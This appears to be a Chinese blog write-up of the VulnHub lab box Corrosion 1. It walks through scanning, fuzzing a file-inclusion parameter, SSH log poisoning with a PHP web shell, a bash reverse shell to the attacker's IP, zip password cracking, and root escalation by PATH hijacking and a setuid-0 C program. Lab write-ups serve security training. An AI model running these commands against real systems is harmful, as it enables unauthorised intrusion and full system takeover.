CORROSION: 1

靶机描述

靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/

Description

Difficulty: Easy
A easy box for beginners, but not too easy. Good Luck.
Hint: Enumerate Property.

信息收集

利用arp-scan -l命令扫描靶机IP

arp-scan -l

image.png
端口扫描

nmap -sS -p 1-65535 -sV -v 192.168.75.165

image.png
检测到22和80端口,访问一下80端口
image.png
使用gobuster进行扫描目录

gobuster dir -u http://192.168.75.165/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

image.png
访问一下扫到的内容

/tasks

image.png
image.png
image.png

/blog-post

image.png
randy大概率是用户名,尝试继续扫描该目录

gobuster dir -u http://192.168.75.165/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

image.png
查看一下

/blog-post/archives/

image.png

漏洞利用

查看一下randylogs.php文件
image.png
是一个空白页面,根据最初的提示,可能存在认证日志的文件包含,要fuzz具体的参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/big.txt -u "http://192.168.75.165/blog-post/archives/randylogs.php?FUZZ=../../../../../../etc/passwd" --hw 0

image.png
得到了file参数
image.png
可以访问系统文件,看一下auth.log日志
image.png
发现会记录ssh登录的所有活动,那我们可以尝试添加恶意PHP代码作为用户名,该代码将从用户输入并执行命令,这通常称为日志中毒

ssh '<?php system($_GET['cmd']);?>'@192.168.75.165

image.png
再次查看日志信息
image.png
注入的信息应该在这里,验证一下

/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id

image.png
发现没问题,写入shell

bash -c 'bash -i >& /dev/tcp/192.168.75.150/1234 0>&1'

url编码

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.75.150%2F1234%200%3E%261%27

访问并监听
image.png

提权

查看一下系统内的文件,在/var/backups目录下找到一个疑似账户备份的压缩包
image.png
使用curl下载到Kali

curl http://192.168.75.165/blog-post/archives/randylogs.php?file=/var/backups/user_backup.zip -o user_backup.zip

image.png
解压发现需要密码,使用fcrackzip爆破文件密码

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt ./user_backup.zip

image.png
用密码解压
image.png
发现randy的密码,ssh登录
image.png
查看一下权限
image.png
发现了/home/randy/tools/easysysinfo,使用sudo -l命令发现可以使用root身份运行/home/randy/tools/easysysinfo文件
s权限:设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份
image.png
查看一下easysysinfo.py文件内容,这个文件是绝对路径,如果可执行文件使用的不是绝对路径,则存在漏洞可利用
使用strings easysysinfo发现使用的不是绝对路径
image.png

(1)第一种提权方法

在本地编辑cat文件,写入sh,给执行权限然后将路径写入到原有环境变量前(从前往后顺序匹配),这样使用cat命令时就会优先匹配此路径下的cat文件,由于文件有s权限,不用使用root身份运行也能获得root权限

echo 'sh' > cat
chomod +x cat
export PATH=/home/randy/tools:$PATH
./easysysinfo

image.png
得到flag
image.png

(2)第二种提权方法

第二种提权方法,虽然没有修改权限,但是可以使用同名文件覆盖该文件,写一个获得shell的c文件,然后编译覆盖,覆盖之后s权限也会被覆盖,所以需要使用sudo以获得root权限

 vi  ./easysysinfo.c   //进行编辑easysysinfo.c文件
 
//以下为编辑内容
#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

image.png

gcc easysysinfo.c -o easysysinfo //指定gcc处理结果的文件名为easysysinfo
sudo ./easysysinfo

image.png

posted @ 2024-05-05 01:09  NoCirc1e  阅读(6)  评论(0编辑  收藏  举报